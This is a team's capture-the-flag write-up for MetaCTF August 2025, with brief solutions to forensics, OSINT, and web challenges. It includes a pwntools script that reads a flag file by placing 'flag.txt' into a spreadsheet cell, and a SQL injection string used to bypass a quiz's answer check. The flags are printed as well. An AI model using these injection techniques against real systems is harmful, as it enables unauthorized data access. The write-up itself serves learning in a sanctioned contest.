



JUK3

1C3GH3TT0 - JUKE
WRITEUPS

MetaCTF August 2025

#	Team	Affiliation	Score
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3	Eth007	---	1050

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Baby Something

Open the file in notepad and search for the flag:

```
./p>  
8px;">MetaCTF{wlr3sh4rk_do0_d0o_d00_d0o_d00}</pre>
```

All About Flags

Open the file in notepad and search for the flag:

```
00000000000000000000000000000000/mem0ry/01a5500/m000a00a/m0  
0MetaCTF{I_fly_m4ny_fl4g5_4nd_c4p7ur3_3v3n_m0r3}un  
> failed to drain all sweep queuesruntime: NtCancelW
```

Rainbow Box

Open the image on Aperi'Solve:



On The Grid

Convert the MGRS to coordinates:

▲ 4V FH 246 677

Country
United States
Latitude & Longitude
56.53712 -156.97382
56° 32.227' N 156° 58.429' W
56° 32' 13.62" N 156° 58' 25.76" W
MGRS/USNG
4V FH 246 677
GARS
047NF37
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Put them on Google Maps and find location:



Spreadsheet

After some testing, I found the way to get the flag and created a script to get it:

```
C:\Users\User\Desktop>python solve.py
[*] Opening connection to kubenode.mctf.io on port 31009
[*] Opening connection to kubenode.mctf.io on port 31009: Trying 3.231.59.255
[+] Opening connection to kubenode.mctf.io on port 31009: Done
C:\Users\User\Desktop>solve.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter(' > ', 'E')
C:\Users\User\AppData\Local\Programs\Python\Python313\Lib\site-packages\pwnlib\tubes\tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
C:\Users\User\Desktop>solve.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter("Enter cell (i.e. 'B7'):", 'K10')
C:\Users\User\Desktop>solve.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter('Enter new value: ', 'flag.txt')
C:\Users\User\Desktop>solve.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter(' > ', 'L')
C:\Users\User\Desktop>solve.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter(' > ', 'P')
C:\Users\User\Desktop>solve.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  print(r.recvuntil('}').decode()) # Assuming the flag ends with }
      A      B      C      D      E      F      G      H      I      J
1      MetaCTF{c0mm4_c0mm4_c0mm4_c0mma_c0mm4_ch4m3130n}
[*] Closed connection to kubenode.mctf.io port 31009
```

Solve script:

```
1. from pwn import *
2.
3. r = remote('kubenode.mctf.io', 31009)
4.
5. # Send edit command for cell K10
6. r.sendlineafter('>', 'E')
7. r.sendlineafter("Enter cell (i.e. 'B7'):", 'K10')
8. r.sendlineafter('Enter new value: ', 'flag.txt')
9.
10. # Then load
11. r.sendlineafter('>', 'L')
12.
13. # Then print
14. r.sendlineafter('>', 'P')
15.
16. print(r.recvuntil('}').decode())
17. r.close()
```

Super Quick Logic Invitational

I found out it was SQL injection because when I was trying basic injection, every question was marked as correct. So, I tried this and gave me the flag:

```
' OR (SELECT answer FROM problems WHERE id = 201) = answer --
' OR (SELECT answer FROM problems WHERE id = 201) = answer --
```

In a group of 100 people, 60 speak English, 40 speak French, and 20 speak both. How many speak neither language?

' OR (SELECT answer FROM probl

Submitting...

Correct! +30 points

Solved

+50 points

You have 12 balls, one is heavier. Using a balance scale only 3 times, how many balls must you weigh in the first comparison to guarantee finding the heavy ball?

Attempts: 1

Answer: MetaCTF{wh4t_1s_7h3_f14g_f0r_7hi5_ch511eng3}